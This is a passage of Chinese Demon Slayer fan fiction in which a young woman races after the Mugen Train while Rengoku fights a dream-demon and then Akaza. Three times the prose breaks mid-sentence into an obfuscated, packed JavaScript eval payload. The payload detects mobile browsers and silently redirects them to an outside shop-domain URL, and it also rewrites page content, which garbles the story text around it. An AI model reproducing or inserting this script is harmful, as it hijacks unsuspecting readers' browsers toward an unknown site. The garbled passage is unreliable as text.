我辨认了很久才分清楚自己说的内容,这显然已经彻底脱离我的控制,而交由身体的本能来掌舵。我不再是这具身体的主人,我随着夜风飘出躯壳,升腾到半空,远远地望着那条蜿蜒的铁轨。它一直通向我看不到的尽头——我要抵达的尽头。 “我们沿着铁轨开车去追,一直到看见无限列车为止。” 加速的油门将灵魂重新拴进身体,一股失重感后紧紧衔着庞大的沉重。我被压得喘不过气,萎靡地缩在后座。 今夜蝉鸣也无声。 24. 重构 汽车正在疾驰。城镇中沿着火车轨道修建的道路时有时无,偶尔会穿过密集的居住区,冲出灯火燎燎,一直延伸到城镇之外才真正算拥有开阔的视野。 也只有到了这时,肖恩才能彻底放开手脚地加速,周遭的一切如被涂抹过一般从车窗外狠狠擦向身后,粗燥的破风声包围着车厢。 我看不清前路,不明的眩晕感让我眼前一片发黑,甚至在剧烈的慌乱情绪的侵扰下,我几乎忘了要如何呼吸。 “小姐,”嘉泽乐察觉到我过于低迷的状态,担忧地出声安慰,“不会有事的,别担心……”她的尾音消散在与我眼神接触的时刻。我现在是什么表情?竟能惹得向来冷静自持的嘉泽乐都默默失语。 转头看向车窗玻璃,快要融化在背景一团斑驳的那个黑发碧眼形象,即使模糊也难掩憔悴与苍白。我看着她,过了片刻,倒影与我的眨眼动作完全贴合,这时我才反应过来:原来这是我! 我陷在柔软车座里,犹如跌进腐烂潮湿的沼泽,不祥的失重感已经彻底攫取我的自由,无法剥离的忧虑已经积累成一种隐痛,而我始终在下坠,下坠永无尽头。 不会有事的…… 我已经做好万全的准备……不仅让炼狱先生随身携带了药,还为防止紧急特殊情况的发生,也请桥下先生带着Afterlife坐上无限列车。 比起千年来都习惯用自身的牺牲来构筑和平防线的鬼杀队,我的家族本着商人永恒的习惯,致力于对利益的把控,不能获得利润的生意显然是失败的,有栖川家从不推行无用的牺牲——任何付出都必须得是有价值且能够直接导向胜利的。 所以与鬼杀队可能只派出一个柱来应对高危情况不同,无限列车上还有多位由外祖父安排的持有武装的护卫与医护人员,这正是为了保证利益平衡的面面俱到。 经验告诉我们所有人,鬼是一种太可怕的生物。与生老病死不同,它们的威胁是无序的、混乱的、无需理由的。即使是炼狱先生也不曾有过与上弦交手的经验,而对我来说,恐惧绝非来自伤亡,而是来自未知。那么Plan B自有它存在的必要。 电台里传出的声音已经成了让我精神更紧绷的倒数,我忍无可忍地让嘉泽乐关闭,车厢内一时间鸦雀无声,连汽车冲出层层狂风的声音都消失了。我告诉自己人事已尽,而天命必然也会站在吾等这边,奔涌的思绪构成反复劝慰,得到的效果却寥寥无几,形如退潮时的海浪,潮水层层叠叠却还是坚定地暴露出海岸线。 只有亲身经历这样的紧要关头,才会明白用来安慰的语言原来是如此无力。 黑夜是凝固的坚冰,而我没有火焰。 寂静来得悄无声息。违和感却庄严地敲响大门。 被针尖对准时总会无端感到一种刺痛,刀锋砍来时大脑会预演行经的路线,看到血液会觉得危险,听见破风声便想要躲避,闻到鬼的气息则进入警戒,尝试姗姗来迟,而本能远比思维转动更快地早早掌控住身体。 有时候炼狱杏寿郎不觉得自己是多么有危机意识的人,然而日复一日挑战他神经敏锐性的东西远非言语能够形容,那种危险的感受隔着很远很远就已经在撩拨他的思维。所谓敏锐,无他,唯熟练尔。 这一次,也同样如此。 没有预告,周围的景观在瞬间崩裂,炼狱宅化为齑粉,被炽热的焚风吹散,火焰从土壤中向上炸出,浓烈的毁灭气息灼烤着此世。 一切消失不见。晴日与白天也化为灰飞。 原本和他并肩坐在一起轻声对话的少女站到他的面前,不知从何处吹来的风撩起她海藻般的长发,在一片死寂中,她面无表情,那双碧绿的眼睛骤然无神,某种僵硬的情绪则更为显著地在浓绿的海中翻涌。无比压抑,仿佛躯体里那个可爱的灵魂从不存在。 时间留下的痕迹被拉得无限长,让人几乎失去对时间变化的判断——炼狱杏寿郎看见她骤然抬起交叠的双手,被紧握的那根尖锐的铁锥正闪烁犀利的冷光对着他。 这绝不是她!大脑中某根弦倏地崩裂。 鬼的气息出现时,那种如芒在背的感觉便如影随形,应对危机的本能已经借由他的手穿过火焰。 他捏紧了携有危险的来源。五指用力,攥住要害。 尖锥落地。清脆的声响分走炼狱杏寿郎的部分注意,这才是鬼的气息的载体,一种阴郁的恶意未加掩饰,直挺挺躺倒在地时也依然宣泄着仿佛时刻会弹起并刺向他的惊险。 剧烈燃烧的火焰彻底汇聚为火海,几乎融化此间世界,被高温焚烧扭曲的空间里少女美丽的容颜流露痛苦,炼狱杏寿郎未曾松懈丝毫力气,仍不免心头一跳。 在他心灵深处原本就没有什么可以替代她,不过是内心藏着的那丁点细微的恐惧并不愿让自己面对这样的事实:刀剑相向,甚至受制于人。事已至此,炼狱杏寿郎也只能承认了,他害怕朝和遇到危险,害怕她失望,害怕她难过。最害怕的,是带给她这一切的原因是自己。 他当然知道这绝非他的少女,可被他握在手中的那段雪白的脖颈如此刺眼,她已经化身一只哀戚的天鹅,没有任何鲜活的反抗,正沉默地面对仅有的死路。 火海之后无尽的黑夜不断分裂变换,一片混沌中他听不到任何声音,连自己的呼吸都没有,穿过无数意识与想象的界限,唯有朝和呼唤他的声音如此真实。 黑发碧眼的少女身影几乎崩溃不成形,她的躯体边缘正被火焰包裹着,不曾燃起她的衣摆与长发,却让她存在的本身变得虚虚实实难以看清。最终,一切在崩坏的瞬间重新凝结出一个陌生的形象,梳成麻花辫的黑发,清秀的脸上神情病态又不甘地瞪视他。 这只是一个普通的人类。 一个虚弱、无力的普通人类。身上的鬼气相当淡薄,但绝对来源于他刚上列车时就闻到的味道。 炼狱杏寿郎能够看得出来面前的人类肌体力量的单薄,单打独斗甚至绝非朝和的对手,可她颤抖的身体上却睁着一双怨毒的眼睛,让他敏感地看出她精神上拥有形似母亲病重后难以挽回的悲彻。这个人类一定通过和鬼交易换取了某种能支撑自己活下去的东西。 ……可惜,一切都是虚假的。 赤金色的眼中倒映出被困在火焰中痛苦的人类,炼狱杏寿郎心中并无触动,对为虎作伥的人类他毫无怜悯。 他想起母亲弥留之际对他最后露出的笑容满含爱与歉意,清醒地用力收紧五指。 这样的僵持持续了多久?他也说不上来,似乎只有一瞬间,又似乎非常漫长。无数呼唤的声音汇聚成一股奔腾而来的潮流,冲袭着困乏的灵魂,无声地滋养着眼前的世界重新构筑,违和感猛烈地撞击他的大脑。炼狱杏寿郎紧紧皱着眉头。 他掐住的人突然消失。眼前的世界只留下无尽火海,而火海之外正在皲裂剥落,在陷入黑暗之前,他仿佛的确看到了有栖川朝和——向来无忧无虑的少女一改往日的轻松愉悦,望向他时眼中深深含着泪水,所有的颜色散去,她缓缓闭上双眼,悲痛却并未得到掩盖,泪水顺着脸颊滑落,与这世界共同消散。 炼狱杏寿郎亲眼看到那滴泪珠落下。 取而代之的是新的一捧火焰。 炼狱杏寿郎睁开眼。本能已经对现实会遭遇的境况做出预感,列车上一片狼藉,某种古怪的肉质蔓延整趟列车,放眼看去,疾驰的车厢外也被紧紧包裹住,不断从暗红的组织中生长出蠢蠢欲动的触肢,正垂涎欲滴地试图伸向周围沉睡的乘客。 那三个孩子和那个鬼妹妹都不在了。但列车上鬼的气息却无比浓郁,仿佛完整浸泡在这名为鬼的窒息液体之中。 炼狱杏寿郎长长呼出一口气,重新回到人间,那个破碎的梦境还在脑中闪回。他落目于腰间悬挂的御守,将它摘下时紧紧握在手中,沿着走道稳步踏过这些表皮光滑的肉质组织时他忽然想笑——唔姆。 “没想到在我打盹的时候,事情发展成了这样。”声音里倒没什么苦恼与意外,反而昂扬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613422|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,“真是意想不到。” “作为一个柱,我实在太不像话。”他这么说着,将御守放置到上衣胸前的口袋里,隔着层层布料却抵着心脏,而鼓出血液的每一次脏器跳动都熨帖着尚留有少女香味的御守。那片刻有神名、寄托了愿景的木片,那些被她珍重嘱咐能够救命的药丸,少女化险为夷的心愿从此刻起得到重视。 他停住脚步,抽出刀来,看向从四面八方向他伸来的触肢横刀在上,一掌在前,因为振奋而睁大的眼睛看着愈发像某种猛禽。这种不生有大脑和心脏的孽物仅被主人的意识驱动,狂妄地想猎鬼人宣示自己的强大,炼狱杏寿郎笑容扩大。 “真想挖个洞……”他轻盈地跳起,凝滞在半空中呈现出蹲姿,话语里只有坚定,“钻进去!” 火光四溅!金红色的火焰一路向前扑去,收束成多道犀利的刀光,从上至下,将铺天盖地盘踞着的属于鬼的部分斩断。列车被猛力震荡,自车轨弹起再落下的瞬间,不仅是他身处的车厢,灼热的火海一路向前,带有恐怖的高温与光亮,焚尽沿途一切令人作呕的肉触。 罪恶应当被消弭。 炼狱杏寿郎冲过多节车厢,停止在倒栽的灶门炭治郎面前,刚受到细密攻击的鬼因为巨大的损耗短时间内无法快速再生,车厢归于平静。他认真凝视面前的少年,因他的出现而惊讶的少年睁大了红色的眼,却没忘记始终握着手中的剑。 这趟列车有两百多个乘客,分布在八节车厢,然而鬼化的术式影响是全面的,没有落下任何一个角落。斩杀鬼与保护乘客是两个并立且无法分割的任务,同时存在亦需要同时进行。 “灶门少年!”炼狱杏寿郎蹲下,精神满满的态度由此向灶门炭治郎渲染过去,他任何时候都不会因为困难感到疲惫。“这辆列车共有八节车厢,”他摊开手掌示意道,“我保护后面五节,剩下三节交给金发少年和灶门妹妹去保护。” “你和猪头少年就在注意这三节车厢的同时,寻找鬼的脖子。” 他们都没有见过埋伏在列车上的鬼真正的样子,不知长相,不明能力,无法分辨他究竟以怎样的形态融合进列车。但是生命向来如此,总在意想不到的地方脆弱易碎。死亡是万物唯一的终点,纵使是鬼,也同样如此。 即使鬼的术式与血液将他们变换成各种可怖的模样,他们的“脖子”——致死的命门,终归存在。 他们要做的,就是在战斗中寻找到这个要害。 一力击破! 呼吸法调动后往往会给予五感极大增幅,炼狱杏寿郎使用战技时更加需要将呼吸韵律保持在专注的一点,集中心神后他能捕捉到更细微的变化。争战中刀刃划破空气的声音也清晰可闻,灶门少年和猪头少年肩负着整趟列车的责任。 他可以感受到车厢中粗壮的肉触再生的速度有所减缓,与最初时刻准备狩猎的凶猛姿态不同,如今它们犹疑着甚至不敢进攻,仿佛终于脱离那个鬼的本身而拥有独立的恐惧意识。 外面的声响沉寂了几个呼吸。 炼狱杏寿郎方才压下刀锋,紧接着猛然感觉到惊奇的失重,不再平衡的车厢将依旧沉睡的乘客们晃得颠来倒去,鬼的术式还未消散。他敏锐地意识到列车的现状与鬼的情况不可脱离,那个鬼的气息果然淡了,某种尖啸的不甘怨念却在整座列车起伏,偕同着每一寸翻出的肉质组织控制着列车冲出车轨。 相比刚才遇到的危机,眼下这才是更要紧的事,一旦处理失误,会牵连车上乘客的性命。这有悖于炼狱杏寿郎——甚至是鬼杀队一贯的立场。 再次握紧日轮刀,炼狱杏寿郎用连续施展的战技将列车所有车厢稳定在一种奇异的震荡平衡中,从中寻找到力的平衡点,以保证列车狼狈落地时车厢与乘客的安稳。 战技的发动构建在呼吸法之上,能够使用战技是剑士修炼进步的证明,而一次性连续多次使用,不仅是对剑士实力的最佳佐证,也是一种高消耗的危险证明。 只有他能做得到。 25. 崩解 不知不觉夜晚已经到了最深的时候,穹顶不见星子,只有缥缈的月光朦胧地洒下,没能缓解半分深沉,倒让眼前的一切显得愈发难以看清。 列车嘭地坠地,巨响后一切重返平静,平静得甚至让人有些不安。他听见外面那个猪头少年的咆哮,大声呼唤着一个人。炼狱杏寿郎轻身跳出车厢,鬼的气息消散了,构筑在车厢上的术式也随之消失,柔和的夜风会将乘客从睡梦中唤醒。 一片狼藉中没有死亡降临时低沉而腐臭的气息,他寻找着灶门少年,走向他。 因为腹部受伤失血而躺倒在地无法动弹的少年此刻看不出方才战胜鬼的英勇,尚还稚嫩的脸上满是擦伤,疲惫与力竭为他留下几分狼狈。他的伤口由那根鬼气森森的尖锥造成,虽然鬼已经消失,但是留下的伤口疼痛异常。 “看来你已经能做到全集中的【常中】了,不错!”炼狱杏寿郎轻声快步走到他跟前,在少年意料之外的神情中弯下腰直视他,带着赞赏夸奖道,“【常中】可是通往柱的第一步,”他双手叉腰,面带微笑,声音也配合着此刻的情景轻柔下来,“但距离柱还有一万步就是了。” 嗯,再给点鞭策。他倒是很有教导徒弟的样子。 “我会努力的。”疼痛让他皱紧眉头,冷汗垂落,灶门炭治郎还是坚定地应答。 炭治郎能斩首列车上的鬼——从对列车的影响和术式中蕴含的气息来看,对方绝非寻常鬼,恐怕是一个位列十二鬼月中实力不弱的下弦——与柱合会议时相比,进步显而易见。记忆回到那一天的审判,为了妹妹而奋不顾身的少年当时是什么表情,炼狱杏寿郎记不太清了,但是想要正式收他为继子的心情,却逐渐攀升向新的高峰。 他是一个应该得到更好教导的少年,他会成长为一个出色的剑士,最终成为他们优秀的同僚,大家一同并肩行走在大义的道路上,直到终有一日恶鬼灭杀,太阳升起。 “腹部有出血,”一眼看出他的症结,炼狱杏寿郎直接上手指导起灶门少年的呼吸法,“再集中一些,提高呼吸的精度,将控制力延伸到身体的每一个角落。”柱们很少有继子,不仅因为柱对继子的培养向来严苛,也有着柱对继子精挑细选的缘故。 能够承接柱的存在,将会作为继任者成为下一位柱的继子,无论是天赋还是心性,都必须远超常人。 这样的人总是难得。炼狱杏寿郎比起目前在任的大多数柱多一段培养继子的经历,兼之本性中对他人的体贴照顾,他相当擅长教导一个天赋过人的学生该如何进步。 全集中的要点如名字所示,就在于“集中”二字。将所有注意力收束集中成一点,把这一点投射在身体任何一个部位以做到对身体内部甚至血液流动的瞬时控制。 这种止血方法在紧急的场景中相当有效,虽然不能做到长期稳定地止血,但是暂时使伤势得到控制就可以顺利等待医疗的到来。而熟悉此道的柱们甚至可以做到让小型伤口完全止血,除非过度用力伤口甚至不会崩裂。他们因此会更少受伤,并且伤后也会更快恢复。 炼狱杏寿郎伸出食指点在逐渐焦虑的灶门额头正中,力气不大但这存在感让他不能再扑腾起来。“集中!”他重复要点。直到少年再次尝试时成功将血止住,他才放心地蹲下身去,笑容比方才放大了些,“将呼吸做到极致,就能做到各种各样的事。虽然不能无所不能,但一定能让自己比昨天更强。” 无论战斗还是治疗,鬼杀队的立身之本便是呼吸法。 看出灶门少年的担忧,炼狱杏寿郎握拳宽慰道:“大家都没事,虽然伤员不少,但都没有生命危险。”列车上醒来的人们已经开始自救,其中似乎有不少经验老到的人员对于救援和急救有着针对性的准备。 在炼狱杏寿郎看来,这些乘客都是陌生的脸,但也都没有恶意。“你也不用勉强自己,好好休息吧。” “非常感谢。”这一夜发生太多事,灶门炭治郎在战斗中无疑是透支式的,此刻安静下来也深感疲惫,无论是经历的梦境还是混乱的现实,紧绷的神经唯独在得到炼狱先生这句话后,才真的松懈。 已经一夜了,天快要亮了。 这时一个医生打扮的男人艰难地提着箱子翻过车厢,对他的体型与身体素质而言,这个行为的难度与强度不亚于攀爬富士山。他擦着汗,驱动着很是憨态可掬的身体向他们跑来,从姿势看得出来,他是一个长期伏案工作、鲜少运动的文职人员。饮食或许也不太健康。 “两位是鬼杀队的成员吧……”他目标明确地跑到近前,一边喘息着一边恭敬地鞠躬,“鄙人桥下,供职于有栖川氏私立西医院。”他向二人展示手中箱子上绘有的有栖川家纹与藤之家紫藤纹。“请让我为这位少年治疗吧!”说着,他已经不容拒绝地跪坐在地打开药箱了。 炼狱杏寿郎眨眨眼,看着箱子上有栖川的家纹,想到的竟然是在列车上时的那个梦中,随着梦境一同消散的少女哀怆的眼神。她什么都没有说,却仿佛说尽了一切,她闭上眼,一滴泪落下。炼狱杏寿郎忽然感到胸前的御守有千斤重,正灼烧着心房。 天快要亮了。 即使此刻还未至天亮的时刻,然而时针始终是在向前走的,就像人们都期盼着太阳升起黑夜结束,千年来始终如此。虽然千年来都事与愿违,那阵不可摆脱的阴霾无尽铺开。但太阳总是要升起的。 原本该是如此。 但打碎此刻静谧的不速之客从不畏惧黑夜,落地时毫不遮掩的动静甚至激起满地尘埃,糅杂着月色形成一片惨白的诡秘雾状,三人都再熟悉不过的气息铺天盖地地遮过来,他们不约而同地看向同一方向——那里初时只有黑暗。烟尘散去前最先被看到的是眼睛,一双在黑夜中如野兽般发光的犀利眼睛。 炼狱杏寿郎警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613423|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地迅速转身向他,架起刀,一手蓄势待发地握在刀柄之上。 逐渐显露出的是一个身形有些健硕的男人,他身上几乎没有鬼化的迹象,不存在丝毫非人的特殊部位,唯独肌肉紧实的躯体上横亘的深色纹路,布满面部与身体。他有着一头桃红色的短发,俊秀的脸上则是看似温和友好的笑容,此时动作自然地保持着蹲姿,看不出一丝肌体的紧绷,仿佛是一个误入此处的路人。假如他们真能够忽略他身上浓郁到让感官都黏稠的气息的话。 四下彻底寂静了,连呼吸声都难以捕捉。只剩下那双眼睛里,凌驾在分布着皲裂网状的蓝色眼白上,两颗金色的瞳仁里——【上弦 叁】三个字正发出无声的威吓。 鬼的目光逡巡着,最终轻飘飘地落在躺着的灶门炭治郎身上。 被这骇人视线瞄准的刹那,他已经猛地跳起,身形轻得如飘在空气中,靠近的速度却极快,由不得人反应。先到达的是左拳,他并未使力握紧,只是如随手挥出一拳般直击灶门炭治郎的额头。炭治郎甚至还未眨眼,危险已在近前。 纵是炼狱杏寿郎也只来得及看清他到达前方,当视线成功捉到他迅捷的身形时身体已经无需控制地骤然抽刀!迎上拳头!随刀尖升起的火焰在空气中画出圆弧,伴随利刃破开他的手臂。 鬼并没有躲避刀刃,只在受到攻击后向后闪身跳开几米远。他神情未变,还是那副轻松的笑颜,抬起被剖开的手臂时视线都没移动半分,一分为二的小臂无力垂落,但片刻后如同上紧发条的锡兵得到命令,两边骨肉僵直地支起,重新紧紧贴合,血肉沿着血线粘合的声音仅有一声,瞬息间便完全愈合。只有皮肤上沾着的几滴血迹还能证明他曾受过伤。 “好刀。”他说话时细而清澈的声音里竟然是真心的赞赏,而偶尔露出唇缝的两颗尖牙正预示他的危险。 炼狱杏寿郎神情严肃,他站在所有人身前,扬刀时依旧保持着保护的姿态。“为何你会先对受伤的人下手?”炼狱杏寿郎蹙起眉,紧紧盯着面前的鬼,声音里已经带上厌恶,“我无法理解。” 比起其他情绪,最先挤上舌尖的竟然是与这个鬼截然不同的处世观念,炼狱杏寿郎熟悉鬼这个物种——他们的战斗理念、行动模式、生存驱动——却始终难以认知他们的想法,脆弱不堪与懦弱胆怯这些负面情绪往往是构成他们的基本套餐,不幸的人生与作恶的本性对受难者的分配往往对半,层层原因堆叠出的人形生物即使拥有力量也还是不堪一击。 桃红色的鬼满不在乎,声音轻巧得不可思议:“只是觉得他会妨碍我和你对话。” 同样的,炼狱杏寿郎也毫不掩饰:“我和你有什么好说的?”这当然不是问句,他从不展示在人前的嫌恶从每个字里溢出,“虽然只是初次见面,但我已经讨厌你了。”炼狱杏寿郎不畏困苦、不怕毁灭、不惧短生,他这样的人天生不会和鬼同感。 26. 涅槃 万众期待的白昼久久不至,灿阳被封印在吹不散的暮色之后,云霭太厚重了,带着无法反抗的重量坚定地压下来。 汽车始终在崎岖的路上疾驰,经过的全世界都被抹成狂乱的色彩。时间的消逝已经不能再被理智计数,我无法平静,恐惧已经占据心神成为身体新的主人。只要一闭上眼,脑海里就会一幕幕闪过他的样子,在任何时候都会微笑的炼狱先生在我的记忆中如此清晰。 本该感到甜蜜的种种瞬间,却叫我心弦绷紧,几乎再多压鹅毛之重量就会彻底崩断。有那么一个瞬间,我甚至觉得自己陷入过沉睡,努力睁大眼睛却看不清哪怕近在咫尺的任何,声音也听不清了,只除了附和上指针的心跳,鼓动着沉沉的低噪。 大约是情绪已经压抑到极点,看着表盘上指针一格一格跳动,竟然再也堆加不出更深重的苦痛。而沉闷的呼吸在凝滞中也能得以残喘,心脏不会因此停止,只是声音如我的苦闷之源,愈来愈响。剧烈地吵。 最终噪声也成常态,化作无声。 漫长的黑夜仿佛凝固了,天明久久不至。 “这个少年并不弱,不准你侮辱他。”炼狱杏寿郎面无表情,他的拒绝不曾犹豫,没有反转。 猗窝座感到失望。他杀过很多猎鬼人,其中不乏有柱,究竟杀过多少柱呢,时间太过久远,早已记不清了。面前这个名为炼狱杏寿郎的人类不是唯一,但他是很长一段时间以来,猗窝座遇到的唯一一个身上斗气凝练到接近至高之境的人类。 燃烧的斗气形如他的称号:炎柱——炎柱啊,人类短暂的生命未必能使他再进一步,如此强者将会陨落的未来,即使只是想象,猗窝座也感同身受。 太失望了。 以鬼为圆心散开的术式形如一片雪花,密集的构成充斥冷峻的斗气。“既然不当鬼,就杀了你。”他的声音似友人玩笑般轻松愉快,尖牙从笑容中露出。 炼狱杏寿郎下意识皱眉,注意力集中,手中的刀握紧。猗窝座快步冲向他,他的拳脚便是胜过一切利刃的最佳武器,击开刀刃时灵活地躲开下一次挥刀,再次出现在炼狱杏寿郎面前。 他推崇战斗,不解地求知为什么没人接受他成为鬼的邀请——“明明只有天选者才能成为鬼啊!”——他用手臂迎接日轮刀,痛感还未传达到神经中枢,断肢已经重生,他的笑容不改。 隔着空气击打出的攻击依旧会落在身上,这种攻击如有实体,不可捕捉、无法躲避。被动地迎敌或者……主动出击!攻击各自化解,或以拳头,或以刀尖,跟着追入深林,却被奇袭击飞! 炼狱杏寿郎在喘息。即使刀刃可以破开皮肤让鲜血四溅,可当初那个人类毕竟早已经死去,留下的鬼正与他四目相对,他抬起头笑容越来越盛:“成为鬼吧,杏寿郎!” “然后和我无限地战斗,一起变得更强!” 战斗是为了什么?难道只是为了更强?那更强之后呢?炼狱杏寿郎支着刀,人的一生向来短暂,几十年匆匆而过,死亡的终点便是一切的湮灭。但人向来如此、理应如此。 “我不会成为鬼!”再次站起,炼狱杏寿郎重新摆出应对的架势,他战斗是为了结束,更强只是为了更快结束。 他的追求有尽头,一切会结束在鬼被消灭的那一刻!或许没有胜算,但是为了保护他人,额角击破、肋骨打断,刀刃挡住拳头时手臂颤抖着卸力,而那拳头擦着眼睛撞出,炼狱杏寿郎怎么会不知道在他面前以攻为守地发动战技无疑是暴露自己的弱点,但他只能赌有限的体力和有限的黑夜究竟哪个会更先清零。 他孤注一掷,眼中只剩下那唯一的死穴,用力挥出的刀刃瞄准着扬起纷飞火焰,喷出的鲜血几乎覆盖炼狱杏寿郎仅剩的那只眼的视野,一同斩断的手臂坠地。 比尘埃更先落定的却是他滴落的血。 那段狰狞的伤痕横贯猗窝座的上身和脖子,他站起来,斩断的手再次生出。今夜他的表情第一次如此平静。 “再继续和我打啊。” “可别死了,杏寿郎。” 为什么? 这个念头唐突出现在大脑中时,身体各处都冒着难忍的疼痛,顺着呼吸道冲进肺的空气都带有锋利的刀刃,时刻刺痛他的灵魂,让他第一次觉得战斗痛苦。但当他将思维凝聚于此,平静地思考时,一切感受都消失了。 诚然,人类的躯体向来脆弱,即使修行至柱的高度仍非至强,但是……火焰燃尽后的柴烬并非真正的死亡,灰堆下依然埋藏着火星,等到风起会再次燃烧成灼烫的烈焰! 以心灵为燃料,火焰从心头烧起,蔓延向四肢,焰潮滚滚,将周围烧成一片无声。从未有过的磅礴斗气凝练如实质,夜晚究竟还有多长已经并不重要,炼狱杏寿郎不再思考,架起刀,神情坚毅,摆出准备进攻的迎战姿势。 “炎之呼吸——奥义!” 只要此心尚存,斗志便不会熄灭,而他的职责还待他完成。 “玖之型!炼狱!” 超越极限,突破自我,火纹化作狰狞的骇兽势如破竹地向鬼冲去! 他向鬼斩下刀刃,在劈开迎上的拳头时,绝无迟疑地再次抬剑砍向他的脖子。 猗窝座兴奋到发抖,如此惊人的斗气,毫无破绽的袭击——他近乎癫狂的迎战,眼里除却这燃烧的炎柱外再无其他!抬手握住挥来的刀刃,日轮刀受力斜着砍进他的身躯,痛觉总是姗姗来迟,炼狱杏寿郎猛力转动刀刃抽出时,擦着心脏而过的日轮刀将高热传递全身,危险促使他放弃理智。 冲天的火光几乎烧尽黑夜。 漫天烟尘里,炼狱杏寿郎什么都感知不到。 周围的一切悄无声息地退去,而他再次回到多年前的那个午后,他尚且是稚童,而母亲还在世。 彼时母亲已经病入膏肓,大多时候她都在屋内休息,药汤的味道浓得近似熏香,细细听门廊上挂着的风铃轻响。那张美丽的容颜因为病痛看起来格外苍白脆弱,笑容已经很少出现在她的脸上。 那天……毫无预兆地,母亲突然轻唤他的名字,语气认真地问道:“你知道自己为什么生下来就比别人更加强大吗?” 为什么呢? “我不明白!”炼狱杏寿郎快忘了当时自己的想法,只是所有念头徘徊过舌尖,没有一个凝聚成完成的句子——他不明白——他生来拥有异于常人的力量,在剑道上走得比任何人都要轻松,那时他就知道家族的传承,知道自己终有一日会从父亲手里接过炎柱的披风。 说出不明白如同承认自己的不足,炼狱杏寿郎等待着母亲的“审判”。 母亲并没有展露出任何异常的表现,“是为了帮助弱小,”炼狱杏寿郎专注地听着,“天赋异禀、超于常人者,必须为了世界,为了他人使用这份力量。”母亲的声音在记忆中永远那么平和温柔,如沉静的深水,不曾奔涌亦蕴含力量。 “决不能用受赐于天的能力,伤害他人,谋取私利。” “帮助弱者,是天生的强者的职责。”母亲专注地看着自己,即使多年后的今日,炼狱杏寿郎已经忘记许多童年时的回忆,却依然清晰地记得母亲鸽血色的双眼,从她口中所出的一字一句,既是一个母亲对孩子的忠告与愿景,更是对炼狱家的永恒的写照:“这是你必须负起的责任,坚守一生的使命。绝对不能忘记这一点。” 被母亲拥抱在怀中时,所感受的温暖这世上任何事物都无法替代,记忆中留下的恒久印象百年流逝也无可磨灭,他清晰地记得,数千个夜晚,不曾有一秒忘记。 守护的命运在那一刻便注定了。 本该流失出身体的力量被坚定的意志再次凝入手臂,炼狱杏寿郎握紧刀,这次瞄准的只有鬼的脖子!砍下,破开皮肉,被贯穿的要害扩散开的阵阵疼痛只让他更用力地劈下! ——母亲,能做您的孩子,我更是无比光荣! 车已经开了多久?这段路途仿佛没有尽头,除去奔波留下的只有恐惧。我第一次产生了疑惑:我还能到达吗?直到颠簸接近消失,路面逐渐开阔,可见的视野里那摔倒的钢铁列车逐渐被光线勾勒出模糊的轮廓。 “看到无限列车了!小姐!”嘉泽乐回过身向我大声说道。 但周围并不是寂静的,嘈杂的风声中伴随着哭泣与哀叹,我竟觉得周围满是血腥味,不等汽车停稳,我便推门下车,久坐的双腿方触及地面时差点无力踉跄。 我是不是来迟了? 我看见正发生的一切,却再次觉得什么都看不清了。眼前的世界何止是模糊的。夜色是在何时钻进我的眼睛,潮湿的雨雾又是在何时笼罩过来,我竟不曾发现,大脑一阵眩晕,酸涩感如麻痹般爬满全身。 艰难站立的男人浑身血污,这是我第一次见到炼狱杏寿郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613424|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此狼狈的模样。试图斩断鬼头颅的剑刃卡在脖颈,他死死抓住挥向他的拳头,可胸口被手臂贯穿的伤口因用力更会汩汩往外冒出血液。赤红的血不会停止,他身上浓重的血腥味如同吸引死神前来的诱饵。 谁能想到,我们追逐着列车,太阳却缀在我们身后。姗姗来迟的阳光悄无声息地露出地平线,熏染着一小片临近的云层,淡淡的晨光究竟是希望还是危险? 耳中焦躁的嗡鸣声替代过整个世界的喘息,我终于看清那个有着桃红色头发的鬼,脸上因恐惧与焦躁混杂着狰狞的神情。而卡在他脖颈处赤红的日轮刀上翻出一片光凌凌的白昼。 脑海中维持稳定的弦彻底断了—— 我来不及思考,四肢只是遵从身体本能的意见,劈手从下车赶到我身旁的嘉泽乐那里抢过猎枪。装填有特制子弹的枪支此刻连接着我情绪的宣泄点,而凝滞在我心腔的愤怒与痛苦正唆使我扣下扳机。 我当然不会犹豫。抬起枪,意识到单眼闭上瞄准的自己现在和炼狱杏寿郎的样子差不了多少,意识海中汹涌的愤怒便抓住手指扣动扳机,子弹炸出枪膛的声音轰然作响,猎枪的后坐力本该逼得我后仰,然而此刻情绪却成功让我的掌控力提升,在紧要关头做到了轻易做不到的事。 于是我接连扣下扳机。 